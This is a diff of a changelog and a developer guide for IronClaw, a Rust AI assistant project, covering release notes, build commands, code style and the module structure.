- extension registry with metadata catalog and onboarding integration ([#238](https://github.com/nearai/ironclaw/pull/238))
|
||||
- *(models)* add GPT-5.3 Codex, full GPT-5.x family, Claude 4.x series, o4-mini ([#197](https://github.com/nearai/ironclaw/pull/197))
|
||||
- wire memory hygiene into the heartbeat loop ([#195](https://github.com/nearai/ironclaw/pull/195))
|
||||
|
||||
### Fixed
|
||||
|
||||
- persist WASM channel workspace writes across callbacks ([#264](https://github.com/nearai/ironclaw/pull/264))
|
||||
- consolidate per-module ENV_MUTEX into crate-wide test lock ([#246](https://github.com/nearai/ironclaw/pull/246))
|
||||
- remove auto-proceed fake user message injection from agent loop ([#255](https://github.com/nearai/ironclaw/pull/255))
|
||||
- onboarding errors reset flow and remote server auth (#185, #186) ([#248](https://github.com/nearai/ironclaw/pull/248))
|
||||
- parallelize tool call execution via JoinSet ([#219](https://github.com/nearai/ironclaw/pull/219)) ([#252](https://github.com/nearai/ironclaw/pull/252))
|
||||
- prevent pipe deadlock in shell command execution ([#140](https://github.com/nearai/ironclaw/pull/140))
|
||||
- persist turns after approval and add agent-level tests ([#250](https://github.com/nearai/ironclaw/pull/250))
|
||||
|
||||
### Other
|
||||
|
||||
- add automated PR labeling system ([#253](https://github.com/nearai/ironclaw/pull/253))
|
||||
- update CLAUDE.md for recently merged features ([#183](https://github.com/nearai/ironclaw/pull/183))
|
||||
|
||||
## [0.7.0](https://github.com/nearai/ironclaw/compare/ironclaw-v0.6.0...ironclaw-v0.7.0) - 2026-02-19
|
||||
|
||||
### Added
|
||||
|
||||
- extend lifecycle hooks with declarative bundles ([#176](https://github.com/nearai/ironclaw/pull/176))
|
||||
- support per-request model override in /v1/chat/completions ([#103](https://github.com/nearai/ironclaw/pull/103))
|
||||
|
||||
### Fixed
|
||||
|
||||
- harden openai-compatible provider, approval replay, and embeddings defaults ([#237](https://github.com/nearai/ironclaw/pull/237))
|
||||
- Network Security Findings ([#201](https://github.com/nearai/ironclaw/pull/201))
|
||||
|
||||
### Added
|
||||
|
||||
- Refactored OpenAI-compatible chat completion routing to use the rig adapter and `RetryProvider` composition for custom base URL usage.
|
||||
- Added Ollama embeddings provider support (`EMBEDDING_PROVIDER=ollama`, `OLLAMA_BASE_URL`) in workspace embeddings.
|
||||
- Added migration `V9__flexible_embedding_dimension.sql` for flexible embedding vector dimensions.
|
||||
|
||||
### Changed
|
||||
|
||||
- Changed default sandbox image to `ironclaw-worker:latest` in config/settings/sandbox defaults.
|
||||
- Improved tool-message sanitization and provider compatibility handling across NEAR AI, rig adapter, and shared LLM provider code.
|
||||
|
||||
### Fixed
|
||||
|
||||
- Fixed approval-input aliases (`a`, `/approve`, `/always`, `/deny`, etc.) in submission parsing.
|
||||
- Fixed multi-tool approval resume flow by preserving and replaying deferred tool calls so all prior `tool_use` IDs receive matching `tool_result` messages.
|
||||
- Fixed REPL quit/exit handling to route shutdown through the agent loop for graceful termination.
|
||||
|
||||
## [0.6.0](https://github.com/nearai/ironclaw/compare/ironclaw-v0.5.0...ironclaw-v0.6.0) - 2026-02-19
|
||||
|
||||
### Added
|
||||
|
||||
- add issue triage skill ([#200](https://github.com/nearai/ironclaw/pull/200))
|
||||
- add PR triage dashboard skill ([#196](https://github.com/nearai/ironclaw/pull/196))
|
||||
- add OpenRouter usage examples ([#189](https://github.com/nearai/ironclaw/pull/189))
|
||||
- add Tinfoil private inference provider ([#62](https://github.com/nearai/ironclaw/pull/62))
|
||||
- shell env scrubbing and command injection detection ([#164](https://github.com/nearai/ironclaw/pull/164))
|
||||
- Add PR review tools, job monitor, and channel injection for E2E sandbox workflows ([#57](https://github.com/nearai/ironclaw/pull/57))
|
||||
- Secure prompt-based skills system (Phases 1-4) ([#51](https://github.com/nearai/ironclaw/pull/51))
|
||||
- Add benchmarking harness with spot suite ([#10](https://github.com/nearai/ironclaw/pull/10))
|
||||
- 10 infrastructure improvements from zeroclaw ([#126](https://github.com/nearai/ironclaw/pull/126))
|
||||
|
||||
### Fixed
|
||||
|
||||
- *(rig)* prevent OpenAI Responses API panic on tool call IDs ([#182](https://github.com/nearai/ironclaw/pull/182))
|
||||
- *(docs)* correct settings storage path in README ([#194](https://github.com/nearai/ironclaw/pull/194))
|
||||
- OpenAI tool calling — schema normalization, missing types, and Responses API panic ([#132](https://github.com/nearai/ironclaw/pull/132))
|
||||
- *(security)* prevent path traversal bypass in WASM HTTP allowlist ([#137](https://github.com/nearai/ironclaw/pull/137))
|
||||
- persist OpenAI-compatible provider and respect embeddings disable ([#177](https://github.com/nearai/ironclaw/pull/177))
|
||||
- remove .expect() calls in FailoverProvider::try_providers ([#156](https://github.com/nearai/ironclaw/pull/156))
|
||||
- sentinel value collision in FailoverProvider cooldown ([#125](https://github.com/nearai/ironclaw/pull/125)) ([#154](https://github.com/nearai/ironclaw/pull/154))
|
||||
- skills module audit cleanup ([#173](https://github.com/nearai/ironclaw/pull/173))
|
||||
|
||||
### Other
|
||||
|
||||
- Fix division by zero panic in ValueEstimator::is_profitable ([#139](https://github.com/nearai/ironclaw/pull/139))
|
||||
- audit feature parity matrix against codebase and recent commits ([#202](https://github.com/nearai/ironclaw/pull/202))
|
||||
- architecture improvements for contributor velocity ([#198](https://github.com/nearai/ironclaw/pull/198))
|
||||
- fix rustfmt formatting from PR #137
|
||||
- add .env.example examples for Ollama and OpenAI-compatible ([#110](https://github.com/nearai/ironclaw/pull/110))
|
||||
|
||||
## [0.5.0](https://github.com/nearai/ironclaw/compare/v0.4.0...v0.5.0) - 2026-02-17
|
||||
|
||||
### Added
|
||||
|
||||
- add cooldown management to FailoverProvider ([#114](https://github.com/nearai/ironclaw/pull/114))
|
||||
|
||||
## [0.4.0](https://github.com/nearai/ironclaw/compare/v0.3.0...v0.4.0) - 2026-02-17
|
||||
|
||||
### Added
|
||||
|
||||
- move per-invocation approval check into Tool trait ([#119](https://github.com/nearai/ironclaw/pull/119))
|
||||
- add polished boot screen on CLI startup ([#118](https://github.com/nearai/ironclaw/pull/118))
|
||||
- Add lifecycle hooks system with 6 interception points ([#18](https://github.com/nearai/ironclaw/pull/18))
|
||||
|
||||
### Other
|
||||
|
||||
- remove accidentally committed .sidecar and .todos directories ([#123](https://github.com/nearai/ironclaw/pull/123))
|
||||
|
||||
## [0.3.0](https://github.com/nearai/ironclaw/compare/v0.2.0...v0.3.0) - 2026-02-17
|
||||
|
||||
### Added
|
||||
|
||||
- direct api key and cheap model ([#116](https://github.com/nearai/ironclaw/pull/116))
|
||||
|
||||
## [0.2.0](https://github.com/nearai/ironclaw/compare/v0.1.3...v0.2.0) - 2026-02-16
|
||||
|
||||
### Added
|
||||
|
||||
- mark Ollama + OpenAI-compatible as implemented ([#102](https://github.com/nearai/ironclaw/pull/102))
|
||||
- multi-provider inference + libSQL onboarding selection ([#92](https://github.com/nearai/ironclaw/pull/92))
|
||||
- add multi-provider LLM failover with retry backoff ([#28](https://github.com/nearai/ironclaw/pull/28))
|
||||
- add libSQL/Turso embedded database backend ([#47](https://github.com/nearai/ironclaw/pull/47))
|
||||
- Move debug log truncation from agent loop to REPL channel ([#65](https://github.com/nearai/ironclaw/pull/65))
|
||||
|
||||
### Fixed
|
||||
|
||||
- shell destructive-command check bypassed by Value::Object arguments ([#72](https://github.com/nearai/ironclaw/pull/72))
|
||||
- propagate real tool_call_id instead of hardcoded placeholder ([#73](https://github.com/nearai/ironclaw/pull/73))
|
||||
- Fix wasm tool schemas and runtime ([#42](https://github.com/nearai/ironclaw/pull/42))
|
||||
- flatten tool messages for NEAR AI cloud-api compatibility ([#41](https://github.com/nearai/ironclaw/pull/41))
|
||||
- security hardening across all layers ([#35](https://github.com/nearai/ironclaw/pull/35))
|
||||
|
||||
### Other
|
||||
|
||||
- Explicitly enable cargo-dist caching for binary artifacts building
|
||||
- Skip building binary artifacts on every PR
|
||||
- add module specification rules to CLAUDE.md
|
||||
- add setup/onboarding specification (src/setup/README.md)
|
||||
- deduplicate tool code and remove dead stubs ([#98](https://github.com/nearai/ironclaw/pull/98))
|
||||
- Reformat architecture diagram in README ([#64](https://github.com/nearai/ironclaw/pull/64))
|
||||
- Add review discipline guidelines to CLAUDE.md ([#68](https://github.com/nearai/ironclaw/pull/68))
|
||||
- Bump MSRV to 1.92, add GCP deployment files ([#40](https://github.com/nearai/ironclaw/pull/40))
|
||||
- Add OpenAI-compatible HTTP API (/v1/chat/completions, /v1/models) ([#31](https://github.com/nearai/ironclaw/pull/31))
|
||||
|
||||
|
||||
## [0.1.3](https://github.com/nearai/ironclaw/compare/v0.1.2...v0.1.3) - 2026-02-12
|
||||
|
||||
### Other
|
||||
|
||||
@@ -1,123 +1,137 @@
|
||||
# IronClaw Development Guide
|
||||
|
||||
**IronClaw** is a secure personal AI assistant — user-first security, self-expanding tools, defense in depth, multi-channel access with proactive background execution.
|
||||
## Project Overview
|
||||
|
||||
**IronClaw** is a secure personal AI assistant that protects your data and expands its capabilities on the fly.
|
||||
|
||||
### Core Philosophy
|
||||
- **User-first security** - Your data stays yours, encrypted and local
|
||||
- **Self-expanding** - Build new tools dynamically without vendor dependency
|
||||
- **Defense in depth** - Multiple security layers against prompt injection and data exfiltration
|
||||
- **Always available** - Multi-channel access with proactive background execution
|
||||
|
||||
### Features
|
||||
- **Multi-channel input**: TUI (Ratatui), HTTP webhooks, WASM channels (Telegram, Slack), web gateway
|
||||
- **Parallel job execution** with state machine and self-repair for stuck jobs
|
||||
- **Sandbox execution**: Docker container isolation with orchestrator/worker pattern
|
||||
- **Claude Code mode**: Delegate jobs to Claude CLI inside containers
|
||||
- **Routines**: Scheduled (cron) and reactive (event, webhook) task execution
|
||||
- **Web gateway**: Browser UI with SSE/WebSocket real-time streaming
|
||||
- **Extension management**: Install, auth, activate MCP/WASM extensions
|
||||
- **Extensible tools**: Built-in tools, WASM sandbox, MCP client, dynamic builder
|
||||
- **Persistent memory**: Workspace with hybrid search (FTS + vector via RRF)
|
||||
- **Prompt injection defense**: Sanitizer, validator, policy rules, leak detection
|
||||
- **Heartbeat system**: Proactive periodic execution with checklist
|
||||
|
||||
## Build & Test
|
||||
|
||||
```bash
|
||||
cargo fmt # format
|
||||
cargo clippy --all --benches --tests --examples --all-features # lint (zero warnings)
|
||||
cargo test # unit tests
|
||||
cargo test --features integration # + PostgreSQL tests
|
||||
RUST_LOG=ironclaw=debug cargo run # run with logging
|
||||
# Format code
|
||||
cargo fmt
|
||||
|
||||
# Lint (address warnings before committing)
|
||||
cargo clippy --all --benches --tests --examples --all-features
|
||||
|
||||
# Run all tests
|
||||
cargo test
|
||||
|
||||
# Run specific test
|
||||
cargo test test_name
|
||||
|
||||
# Run with logging
|
||||
RUST_LOG=ironclaw=debug cargo run
|
||||
```
|
||||
|
||||
E2E tests: see `tests/e2e/CLAUDE.md`.
|
||||
|
||||
## Code Style
|
||||
|
||||
- Prefer `crate::` for cross-module imports; `super::` is fine in tests and intra-module refs
|
||||
- No `pub use` re-exports unless exposing to downstream consumers
|
||||
- No `.unwrap()` or `.expect()` in production code (tests are fine)
|
||||
- Use `thiserror` for error types in `error.rs`
|
||||
- Map errors with context: `.map_err(|e| SomeError::Variant { reason: e.to_string() })?`
|
||||
- Prefer strong types over strings (enums, newtypes)
|
||||
- Keep functions focused, extract helpers when logic is reused
|
||||
- Comments for non-obvious logic only
|
||||
|
||||
## Architecture
|
||||
|
||||
Prefer generic/extensible architectures over hardcoding specific integrations. Ask clarifying questions about the desired abstraction level before implementing.
|
||||
|
||||
Key traits for extensibility: `Database`, `Channel`, `Tool`, `LlmProvider`, `SuccessEvaluator`, `EmbeddingProvider`, `NetworkPolicyDecider`, `Hook`, `Observer`, `Tunnel`.
|
||||
|
||||
All I/O is async with tokio. Use `Arc<T>` for shared state, `RwLock` for concurrent access.
|
||||
|
||||
## Project Structure
|
||||
|
||||
```
|
||||
src/
|
||||
├── lib.rs # Library root, module declarations
|
||||
├── main.rs # Entry point, CLI args, startup
|
||||
├── app.rs # App startup orchestration (channel wiring, DB init)
|
||||
├── bootstrap.rs # Base directory resolution (~/.ironclaw), early .env loading
|
||||
├── settings.rs # User settings persistence (~/.ironclaw/settings.json)
|
||||
├── service.rs # OS service management (launchd/systemd daemon install)
|
||||
├── tracing_fmt.rs # Custom tracing formatter
|
||||
├── util.rs # Shared utilities
|
||||
├── config/ # Configuration from env vars (split by subsystem)
|
||||
│ ├── mod.rs # Re-exports all config types; top-level Config struct
|
||||
│ ├── agent.rs, llm.rs, channels.rs, database.rs, sandbox.rs, skills.rs
|
||||
│ ├── heartbeat.rs, routines.rs, safety.rs, embeddings.rs, wasm.rs
|
||||
│ ├── tunnel.rs # Tunnel provider config (TUNNEL_PROVIDER, TUNNEL_URL, etc.)
|
||||
│ └── secrets.rs, hygiene.rs, builder.rs, helpers.rs
|
||||
├── config.rs # Configuration from env vars
|
||||
├── error.rs # Error types (thiserror)
|
||||
│
|
||||
├── agent/ # Core agent loop, dispatcher, scheduler, sessions — see src/agent/CLAUDE.md
|
||||
├── agent/ # Core agent logic
|
||||
│ ├── agent_loop.rs # Main Agent struct, message handling loop
|
||||
│ ├── router.rs # MessageIntent classification
|
||||
│ ├── scheduler.rs # Parallel job scheduling
|
||||
│ ├── worker.rs # Per-job execution with LLM reasoning
|
||||
│ ├── self_repair.rs # Stuck job detection and recovery
|
||||
│ ├── heartbeat.rs # Proactive periodic execution
|
||||
│ ├── session.rs # Session/thread/turn model with state machine
|
||||
│ ├── session_manager.rs # Thread/session lifecycle management
|
||||
│ ├── compaction.rs # Context window management with turn summarization
|
||||
│ ├── context_monitor.rs # Memory pressure detection
|
||||
│ ├── undo.rs # Turn-based undo/redo with checkpoints
|
||||
│ ├── submission.rs # Submission parsing (undo, redo, compact, clear, etc.)
|
||||
│ ├── task.rs # Sub-task execution framework
|
||||
│ ├── routine.rs # Routine types (Trigger, Action, Guardrails)
|
||||
│ └── routine_engine.rs # Routine execution (cron ticker, event matcher)
|
||||
│
|
||||
├── channels/ # Multi-channel input
|
||||
│ ├── channel.rs # Channel trait, IncomingMessage, OutgoingResponse
|
||||
│ ├── manager.rs # ChannelManager merges streams
|
||||
│ ├── cli/ # Full TUI with Ratatui
|
||||
│ │ ├── mod.rs # TuiChannel implementation
|
||||
│ │ ├── app.rs # Application state
|
||||
│ │ ├── render.rs # UI rendering
|
||||
│ │ ├── events.rs # Input handling
|
||||
│ │ ├── overlay.rs # Approval overlays
|
||||
│ │ └── composer.rs # Message composition
|
||||
│ ├── http.rs # HTTP webhook (axum) with secret validation
|
||||
│ ├── webhook_server.rs # Unified HTTP server composing all webhook routes
|
||||
│ ├── repl.rs # Simple REPL (for testing)
|
||||
│ ├── web/ # Web gateway (browser UI) — see src/channels/web/CLAUDE.md
|
||||
│ ├── web/ # Web gateway (browser UI)
|
||||
│ │ ├── mod.rs # Gateway builder, startup
|
||||
│ │ ├── server.rs # Axum router, 40+ API endpoints
|
||||
│ │ ├── sse.rs # SSE broadcast manager
|
||||
│ │ ├── ws.rs # WebSocket gateway + connection tracking
|
||||
│ │ ├── types.rs # Request/response types, SseEvent enum
|
||||
│ │ ├── auth.rs # Bearer token auth middleware
|
||||
│ │ ├── log_layer.rs # Tracing layer for log streaming
|
||||
│ │ └── static/ # HTML, CSS, JS (single-page app)
|
||||
│ └── wasm/ # WASM channel runtime
|
||||
│ ├── mod.rs
|
||||
│ ├── bundled.rs # Bundled channel discovery
|
||||
│ ├── capabilities.rs # Channel-specific capabilities (HTTP endpoint, emit rate)
|
||||
│ ├── error.rs # WASM channel error types
|
||||
│ ├── runtime.rs # WASM channel execution runtime
|
||||
│ ├── setup.rs # WasmChannelSetup, setup_wasm_channels(), inject_channel_credentials()
|
||||
│ └── wrapper.rs # Channel trait wrapper for WASM modules
|
||||
│
|
||||
├── cli/ # CLI subcommands (clap)
|
||||
│ ├── mod.rs # Cli struct, Command enum (run/onboard/config/tool/registry/mcp/memory/pairing/service/doctor/status/completion)
|
||||
│ └── config.rs, tool.rs, registry.rs, mcp.rs, memory.rs, pairing.rs, service.rs, doctor.rs, status.rs, completion.rs
|
||||
│
|
||||
├── registry/ # Extension registry catalog
|
||||
│ ├── manifest.rs # ExtensionManifest, ArtifactSpec, BundleDefinition types
|
||||
│ ├── catalog.rs # RegistryCatalog: load from filesystem and embedded JSON
|
||||
│ └── installer.rs # RegistryInstaller: download, verify, install WASM artifacts
|
||||
│
|
||||
├── hooks/ # Lifecycle hooks (6 points: BeforeInbound, BeforeToolCall, BeforeOutbound, OnSessionStart, OnSessionEnd, TransformResponse)
|
||||
│
|
||||
├── tunnel/ # Tunnel abstraction for public internet exposure
|
||||
│ ├── mod.rs # Tunnel trait, TunnelProviderConfig, create_tunnel(), start_managed_tunnel()
|
||||
│ ├── cloudflare.rs # CloudflareTunnel (cloudflared binary)
|
||||
│ ├── ngrok.rs # NgrokTunnel
|
||||
│ ├── tailscale.rs # TailscaleTunnel (serve/funnel modes)
|
||||
│ ├── custom.rs # CustomTunnel (arbitrary command with {host}/{port})
|
||||
│ └── none.rs # NoneTunnel (local-only, no exposure)
|
||||
│
|
||||
├── observability/ # Pluggable event/metric recording (noop, log, multi)
|
||||
│
|
||||
├── orchestrator/ # Internal HTTP API for sandbox containers
|
||||
│ ├── mod.rs
|
||||
│ ├── api.rs # Axum endpoints (LLM proxy, events, prompts)
|
||||
│ ├── auth.rs # Per-job bearer token store
|
||||
│ └── job_manager.rs # Container lifecycle (create, stop, cleanup)
|
||||
│
|
||||
├── worker/ # Runs inside Docker containers
|
||||
│ ├── container.rs # Container worker runtime (ContainerDelegate + shared agentic loop)
|
||||
│ ├── job.rs # Background job worker (JobDelegate + shared agentic loop)
|
||||
│ ├── mod.rs
|
||||
│ ├── runtime.rs # Worker execution loop (tool calls, LLM)
|
||||
│ ├── claude_bridge.rs # Claude Code bridge (spawns claude CLI)
|
||||
│ ├── api.rs # HTTP client to orchestrator
|
||||
│ └── proxy_llm.rs # LlmProvider that proxies through orchestrator
|
||||
│
|
||||
├── safety/ # Prompt injection defense
|
||||
│ ├── sanitizer.rs # Pattern detection, content escaping
|
||||
│ ├── validator.rs # Input validation (length, encoding, patterns)
|
||||
│ ├── policy.rs # PolicyRule system with severity/actions
|
||||
│ ├── leak_detector.rs # Secret detection (API keys, tokens, etc.)
|
||||
│ └── credential_detect.rs # HTTP request credential detection
|
||||
│ └── leak_detector.rs # Secret detection (API keys, tokens, etc.)
|
||||
│
|
||||
├── llm/ # Multi-provider LLM integration — see src/llm/CLAUDE.md
|
||||
├── llm/ # LLM integration (NEAR AI only)
|
||||
│ ├── provider.rs # LlmProvider trait, message types
|
||||
│ ├── nearai.rs # NEAR AI chat-api implementation
|
||||
│ ├── reasoning.rs # Planning, tool selection, evaluation
|
||||
│ └── session.rs # Session token management with auto-renewal
|
||||
│
|
||||
├── tools/ # Extensible tool system
|
||||
│ ├── tool.rs # Tool trait, ToolOutput, ToolError
|
||||
│ ├── registry.rs # ToolRegistry for discovery
|
||||
│ ├── rate_limiter.rs # Shared sliding-window rate limiter
|
||||
│ ├── builtin/ # Built-in tools (echo, time, json, http, web_fetch, file, shell, memory, message, job, routine, extension_tools, skill_tools, secrets_tools)
|
||||
│ ├── sandbox.rs # Process-based sandbox (stub, superseded by wasm/)
|
||||
│ ├── builtin/ # Built-in tools
|
||||
│ │ ├── echo.rs, time.rs, json.rs, http.rs
|
||||
│ │ ├── file.rs # ReadFile, WriteFile, ListDir, ApplyPatch
|
||||
│ │ ├── shell.rs # Shell command execution
|
||||
│ │ ├── memory.rs # Memory tools (search, write, read, tree)
|
||||
│ │ ├── job.rs # CreateJob, ListJobs, JobStatus, CancelJob
|
||||
│ │ ├── routine.rs # routine_create/list/update/delete/history
|
||||
│ │ ├── extension_tools.rs # Extension install/auth/activate/remove
|
||||
│ │ └── marketplace.rs, ecommerce.rs, taskrabbit.rs, restaurant.rs (stubs)
|
||||
│ ├── builder/ # Dynamic tool building
|
||||
│ │ ├── core.rs # BuildRequirement, SoftwareType, Language
|
||||
│ │ ├── templates.rs # Project scaffolding
|
||||
@@ -125,9 +139,7 @@ src/
|
||||
│ │ └── validation.rs # WASM validation
|
||||
│ ├── mcp/ # Model Context Protocol
|
||||
│ │ ├── client.rs # MCP client over HTTP
|
||||
│ │ ├── factory.rs # create_client_from_config() — transport dispatch factory
|
||||
│ │ ├── protocol.rs # JSON-RPC types
|
||||
│ │ └── session.rs # MCP session management (Mcp-Session-Id header, per-server state)
|
||||
│ │ └── protocol.rs # JSON-RPC types
|
||||
│ └── wasm/ # Full WASM sandbox (wasmtime)
|
||||
│ ├── runtime.rs # Module compilation and caching
|
||||
│ ├── wrapper.rs # Tool trait wrapper for WASM modules
|
||||
@@ -137,60 +149,102 @@ src/
|
||||
│ ├── credential_injector.rs # Safe credential injection
|
||||
│ ├── loader.rs # WASM tool discovery from filesystem
|
||||
│ ├── rate_limiter.rs # Per-tool rate limiting
|
||||
│ ├── error.rs # WASM-specific error types
|
||||
│ └── storage.rs # Linear memory persistence
|
||||
│
|
||||
├── db/ # Dual-backend persistence (PostgreSQL + libSQL) — see src/db/CLAUDE.md
|
||||
├── db/ # Database abstraction layer
|
||||
│ ├── mod.rs # Database trait (~60 async methods)
|
||||
│ ├── postgres.rs # PostgreSQL backend (delegates to Store + Repository)
|
||||
│ ├── libsql_backend.rs # libSQL/Turso backend (embedded SQLite)
|
||||
│ └── libsql_migrations.rs # SQLite-dialect schema (idempotent)
|
||||
│
|
||||
├── workspace/ # Persistent memory system — see src/workspace/README.md
|
||||
├── workspace/ # Persistent memory system (OpenClaw-inspired)
|
||||
│ ├── mod.rs # Workspace struct, memory operations
|
||||
│ ├── document.rs # MemoryDocument, MemoryChunk, WorkspaceEntry
|
||||
│ ├── chunker.rs # Document chunking (800 tokens, 15% overlap)
|
||||
│ ├── embeddings.rs # EmbeddingProvider trait, OpenAI implementation
|
||||
│ ├── search.rs # Hybrid search with RRF algorithm
|
||||
│ └── repository.rs # PostgreSQL CRUD and search operations
|
||||
│
|
||||
├── context/ # Job context isolation (JobState, JobContext, ContextManager)
|
||||
├── estimation/ # Cost/time/value estimation with EMA learning
|
||||
├── evaluation/ # Success evaluation (rule-based, LLM-based)
|
||||
├── context/ # Job context isolation
|
||||
│ ├── state.rs # JobState enum, JobContext, state machine
|
||||
│ ├── memory.rs # ActionRecord, ConversationMemory
|
||||
│ └── manager.rs # ContextManager for concurrent jobs
|
||||
│
|
||||
├── sandbox/ # Docker execution sandbox
|
||||
│ ├── config.rs # SandboxConfig, SandboxPolicy enum (ReadOnly/WorkspaceWrite/FullAccess)
|
||||
│ ├── manager.rs # SandboxManager orchestration
|
||||
│ ├── container.rs # ContainerRunner, Docker lifecycle
|
||||
│ └── proxy/ # Network proxy: domain allowlist, credential injection, CONNECT tunnel
|
||||
├── estimation/ # Cost/time/value estimation
|
||||
│ ├── cost.rs # CostEstimator
|
||||
│ ├── time.rs # TimeEstimator
|
||||
│ ├── value.rs # ValueEstimator (profit margins)
|
||||
│ └── learner.rs # Exponential moving average learning
|
||||
│
|
||||
├── secrets/ # Secrets management (AES-256-GCM, OS keychain for master key)
|
||||
├── evaluation/ # Success evaluation
|
||||
│ ├── success.rs # SuccessEvaluator trait, RuleBasedEvaluator, LlmEvaluator
|
||||
│ └── metrics.rs # MetricsCollector, QualityMetrics
|
||||
│
|
||||
├── setup/ # 7-step onboarding wizard — see src/setup/README.md
|
||||
├── secrets/ # Secrets management
|
||||
│ ├── crypto.rs # AES-256-GCM encryption
|
||||
│ ├── store.rs # Secret storage
|
||||
│ └── types.rs # Credential types
|
||||
│
|
||||
├── skills/ # SKILL.md prompt extension system — see .claude/rules/skills.md
|
||||
│
|
||||
└── history/ # Persistence (PostgreSQL repositories, analytics)
|
||||
|
||||
tests/
|
||||
├── *.rs # Integration tests (workspace, heartbeat, WS gateway, pairing, etc.)
|
||||
├── test-pages/ # HTML→Markdown conversion fixtures
|
||||
└── e2e/ # Python/Playwright E2E scenarios (see tests/e2e/CLAUDE.md)
|
||||
└── history/ # Persistence
|
||||
├── store.rs # PostgreSQL repositories
|
||||
└── analytics.rs # Aggregation queries (JobStats, ToolStats)
|
||||
```
|
||||
|
||||
## Database
|
||||
## Key Patterns
|
||||
|
||||
Dual-backend: PostgreSQL + libSQL/Turso. **All new persistence features must support both backends.** See `src/db/CLAUDE.md` and `.claude/rules/database.md`.
|
||||
### Architecture
|
||||
|
||||
## Module Specs
|
||||
When designing new features or systems, always prefer generic/extensible architectures over hardcoding specific integrations. Ask clarifying questions about the desired abstraction level before implementing.
|
||||
|
||||
When modifying a module with a spec, read the spec first. Code follows spec; spec is the tiebreaker.
|
||||
### Error Handling
|
||||
- Use `thiserror` for error types in `error.rs`
|
||||
- Never use `.unwrap()` or `.expect()` in production code (tests are fine)
|
||||
- Map errors with context: `.map_err(|e| SomeError::Variant { reason: e.to_string() })?`
|
||||
- Before committing, grep for `.unwrap()` and `.expect(` in changed files to catch violations mechanically
|
||||
|
||||
**Module-owned initialization:** Module-specific initialization logic (database connection, transport creation, channel setup) must live in the owning module as a public factory function — not in `main.rs` or `app.rs`. These entry-point files orchestrate calls to module factories. Feature-flag branching (`#[cfg(feature = ...)]`) must be confined to the module that owns the abstraction.
|
||||
### Async
|
||||
- All I/O is async with tokio
|
||||
- Use `Arc<T>` for shared state across tasks
|
||||
- Use `RwLock` for concurrent read/write access
|
||||
|
||||
| Module | Spec |
|
||||
|--------|------|
|
||||
| `src/agent/` | `src/agent/CLAUDE.md` |
|
||||
| `src/channels/web/` | `src/channels/web/CLAUDE.md` |
|
||||
| `src/db/` | `src/db/CLAUDE.md` |
|
||||
| `src/llm/` | `src/llm/CLAUDE.md` |
|
||||
| `src/setup/` | `src/setup/README.md` |
|
||||
| `src/tools/` | `src/tools/README.md` |
|
||||
| `src/workspace/` | `src/workspace/README.md` |
|
||||
| `tests/e2e/` | `tests/e2e/CLAUDE.md` |
|
||||
### Traits for Extensibility
|
||||
- `Database` - Add new database backends (must implement all ~60 methods)
|
||||
- `Channel` - Add new input sources
|
||||
- `Tool` - Add new capabilities
|
||||
- `LlmProvider` - Add new LLM backends
|
||||
- `SuccessEvaluator` - Custom evaluation logic
|
||||
- `EmbeddingProvider` - Add embedding backends (workspace search)
|
||||
|
||||
## Job State Machine
|
||||
### Tool Implementation
|
||||
```rust
|
||||
#[async_trait]
|
||||
impl Tool for MyTool {
|
||||
fn name(&self) -> &str { "my_tool" }
|
||||
fn description(&self) -> &str { "Does something useful" }
|
||||
fn parameters_schema(&self) -> serde_json::Value {
|
||||
serde_json::json!({
|
||||
"type": "object",
|
||||
"properties": {
|
||||
"param": { "type": "string", "description": "A parameter" }
|
||||
},
|
||||
"required": ["param"]
|
||||
})
|
||||
}
|
||||
|
||||
async fn execute(&self, params: serde_json::Value, ctx: &JobContext)
|
||||
-> Result<ToolOutput, ToolError>
|
||||
{
|
||||
let start = std::time::Instant::now();
|
||||
// ... do work ...
|
||||
Ok(ToolOutput::text("result", start.elapsed()))
|
||||
}
|
||||
|
||||
fn requires_sanitization(&self) -> bool { true } // External data
|
||||
}
|
||||
```
|
||||
|
||||
### State Transitions
|
||||
Job states follow a defined state machine in `context/state.rs`:
|
||||
```
|
||||
Pending -> InProgress -> Completed -> Submitted -> Accepted
|
||||
\-> Failed
|
||||
@@ -198,43 +252,531 @@ Pending -> InProgress -> Completed -> Submitted -> Accepted
|
||||
\-> Failed
|
||||
```
|
||||
|
||||
## Skills System
|
||||
|
||||
SKILL.md files extend the agent's prompt with domain-specific instructions. See `.claude/rules/skills.md` for full details.
|
||||
|
||||
- **Trust model**: Trusted (user-placed in `~/.ironclaw/skills/` or workspace `skills/`, full tool access) vs Installed (registry, read-only tools)
|
||||
- **Selection pipeline**: gating (check bin/env/config requirements) -> scoring (keywords/patterns/tags) -> budget (fit within `SKILLS_MAX_TOKENS`) -> attenuation (trust-based tool ceiling)
|
||||
- **Skill tools**: `skill_list`, `skill_search`, `skill_install`, `skill_remove`
|
||||
|
||||
## Configuration
|
||||
|
||||
See `.env.example` for all environment variables. LLM backends (`nearai`, `openai`, `anthropic`, `ollama`, `openai_compatible`, `tinfoil`, `bedrock`) documented in `src/llm/CLAUDE.md`.
|
||||
Environment variables (see `.env.example`):
|
||||
```bash
|
||||
# Database backend (default: postgres)
|
||||
DATABASE_BACKEND=postgres # or "libsql" / "turso"
|
||||
DATABASE_URL=postgres://user:pass@localhost/ironclaw
|
||||
LIBSQL_PATH=~/.ironclaw/ironclaw.db # libSQL local path (default)
|
||||
# LIBSQL_URL=libsql://xxx.turso.io # Turso cloud (optional)
|
||||
# LIBSQL_AUTH_TOKEN=xxx # Required with LIBSQL_URL
|
||||
|
||||
# NEAR AI (required)
|
||||
NEARAI_SESSION_TOKEN=sess_...
|
||||
NEARAI_MODEL=claude-3-5-sonnet-20241022
|
||||
NEARAI_BASE_URL=https://private.near.ai
|
||||
|
||||
# Agent settings
|
||||
AGENT_NAME=ironclaw
|
||||
MAX_PARALLEL_JOBS=5
|
||||
|
||||
# Embeddings (for semantic memory search)
|
||||
OPENAI_API_KEY=sk-... # For OpenAI embeddings
|
||||
# Or use NEAR AI embeddings:
|
||||
# EMBEDDING_PROVIDER=nearai
|
||||
# EMBEDDING_ENABLED=true
|
||||
EMBEDDING_MODEL=text-embedding-3-small # or text-embedding-3-large
|
||||
|
||||
# Heartbeat (proactive periodic execution)
|
||||
HEARTBEAT_ENABLED=true
|
||||
HEARTBEAT_INTERVAL_SECS=1800 # 30 minutes
|
||||
HEARTBEAT_NOTIFY_CHANNEL=tui
|
||||
HEARTBEAT_NOTIFY_USER=default
|
||||
|
||||
# Web gateway
|
||||
GATEWAY_ENABLED=true
|
||||
